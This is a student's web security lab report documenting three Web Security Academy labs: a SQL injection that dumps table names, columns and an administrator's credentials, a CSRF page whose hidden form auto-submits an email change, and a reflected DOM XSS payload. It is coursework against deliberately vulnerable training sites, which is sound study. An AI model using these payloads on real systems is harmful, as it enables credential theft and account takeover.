

Puja Shah

Professor Daeyoung

CSIT-460-03

4 November 2023

Lab 3 - Web Security

Lab: SQL injection attack, listing the database contents on non-Oracle databases

Version of the database: PostgreSQL 12.16 (Ubuntu 12.16-0ubuntu0.20.04.1)

The list of table names in the database:

```
' UNION SELECT table_name, NULL FROM information_schema.tables--  
users_owxukv
```

The column names of the table:

```
' UNION SELECT column_name, NULL FROM information_schema.columns WHERE  
table_name = 'users_owxukv'--  
username_xtosei  
password_wcknqc
```

The usernames and passwords:

```
' UNION select username_xtosei, password_wcknqc from users_owxukv--  
administrator  
ny25xho3eb2kdtg6ahws
```

Logging in with username and password:

SQL injection cheat sheet | Web x SQL injection attack, listing the database contents on non-Oracle databases

https://0aa700ad0410e73186457dd400210052.web-security-academy.net/login

Web Security Academy

SQL injection attack, listing the database contents on non-Oracle databases

LAB Not solved

Back to lab description >>

Home | My account

Login

Username
administrator

Password
.....

Log in

49°F Mostly clear 10:54 PM 11/4/2023

SQL injection cheat sheet | Web x SQL injection attack, listing the database contents on non-Oracle databases

https://0aa700ad0410e73186457dd400210052.web-security-academy.net/my-account?id=administrator

Web Security Academy

SQL injection attack, listing the database contents on non-Oracle databases

LAB Solved

Back to lab description >>

Congratulations, you solved the lab!

Share your skills! Continue learning >>

Home | My account | Log out

My Account

Your username is: administrator

Email

Update email

49°F Mostly clear 10:55 PM 11/4/2023

Lab: CSRF where token validation depends on token being present

WebSecurity Academy

CSRF where token validation depends on token being present

LAB Not solved

[Go to exploit server](#) [Back to lab description](#) >>

[Home](#) | [My account](#)

Login

Username
wiener

Password
.....

[Log in](#)

65°F Mostly sunny 2:06 PM 11/5/2023

WebSecurity Academy

CSRF where token validation depends on token being present

LAB Not solved

[Go to exploit server](#) [Back to lab description](#) >>

[Home](#) | [My account](#) | [Log out](#)

My Account

Your username is: wiener

Your email is: wiener@normal-user.net

Email
test@test.ca

[Update email](#)

65°F Mostly sunny 2:11 PM 11/5/2023

Lab: CSRF where token validation depends on token being present

WebSecurity Academy

CSRF where token validation depends on token being present

Go to exploit server Back to lab description >>

LAB Not solved

Home | My account | Log out

My Account

Your username is: wiener

Your email is: test@test.ca

Email

Update email

65°F Partly sunny 2:39 PM 11/5/2023

Lab: CSRF where token validation depends on token being present

CSRF where token validation depends on token being present

Exploit Server: CSRF where token validation depends on token being present

https://exploit-0ac900cf04a6344181776abb0150004d.exploit-server.net

Content-Type: text/html; charset=utf-8

Body:

```
<html>
<body>
  <h1>Hello World!</h1>
  <iframe style="display:none" name="csrf-iframe"></iframe>
  <form action="https://0abb001504d9349981106b01006300ff.web-security-academy.net/my-account/change-email" method="post" id="csrf-form"
target="csrf-iframe">
    <input type="hidden" name="email" value="test123@test.ca">
  </form>

  <script>document.getElementById("csrf-form").submit();</script>
</body>
</html>
```

Store View exploit Deliver exploit to victim Access log

USD/EUR -1.00% 3:26 PM 11/5/2023

The screenshot shows a web browser window with the URL `https://exploit-0ac900cf04a6344181776abb0150004d.exploit-server.net`. The page header includes the Web Security Academy logo and the lab title. A green 'LAB Solved' badge is visible. Below the header, an orange banner reads 'Congratulations, you solved the lab!'. A light blue box contains instructions: 'This is your server. You can use the form below to save an exploit, and send it to the victim. Please note that the victim uses Google Chrome. When you test your exploit against yourself, we recommend using Burp's Browser or Chrome.' Below this, the section 'Craft a response' is shown with a URL field containing `https://exploit-0ac900cf04a6344181776abb0150004d.exploit-server.net/exploit`, an 'HTTPS' checkbox checked, a 'File:' field with `/exploit`, and an empty 'Head:' field. The Windows taskbar at the bottom shows the time as 3:25 PM on 11/5/2023.

Lab: Reflected DOM XSS

The screenshot shows a web browser window with the URL `https://0a83004d038e82b081e7f70900ea00a6.web-security-academy.net/?search=XSS`. The page header includes the Web Security Academy logo and the lab title. A green 'LAB Not solved' badge is visible. Below the header, a link 'Home' is present. The main content area displays '0 search results for 'XSS'' above a search bar with the placeholder text 'Search the blog...' and a 'Search' button. A link '<Back to Blog' is at the bottom. The Windows taskbar at the bottom shows the time as 12:12 PM on 11/6/2023.

Lab: Reflected DOM XSS | Web Security Academy

Reflected DOM XSS

LAB Solved

Back to lab description >>

Congratulations, you solved the lab!

Share your skills! [Twitter](#) [LinkedIn](#) [Continue learning >>](#)

Home

0 search results for 'XSS'

Search

[<Back to Blog](#)

53°F Sunny 12:30 PM 11/6/2023

Lab: Reflected DOM XSS | Web Security Academy

Reflected DOM XSS

LAB Solved

Back to lab description >>

Congratulations, you solved the lab!

Share your skills! [Twitter](#) [LinkedIn](#) [Continue learning >>](#)

Home

Search the blog... Search

53°F Sunny 12:31 PM 11/6/2023

The screenshot shows a web browser window with two tabs: "Lab: Reflected DOM XSS | Web Security Academy" and "Reflected DOM XSS". The address bar displays the URL: `https://0afb003e03afcdf780d62680009f00ca.web-security-academy.net/?search=%5C"%7D%2Balert%28%29%2F%2F`. The page header features the "Web Security Academy" logo on the left and a "LAB Solved" badge on the right. Below the header, a blue banner contains the text "Congratulations, you solved the lab!" and links to "Share your skills!" (with Twitter and LinkedIn icons) and "Continue learning >>". A "Home" link is also visible. In the center, there is a search bar with the placeholder text "Search the blog..." and a "Search" button. The Windows taskbar at the bottom shows the system clock as 12:31 PM on 11/6/2023, along with weather information (53°F Sunny) and various application icons.

Lab: Reflected DOM XSS | Web Security Academy

Reflected DOM XSS

LAB Solved

Back to lab description >>

Web Security Academy

Congratulations, you solved the lab!

Share your skills! Continue learning >>

Home

Search the blog... Search

53°F Sunny

Search

12:31 PM 11/6/2023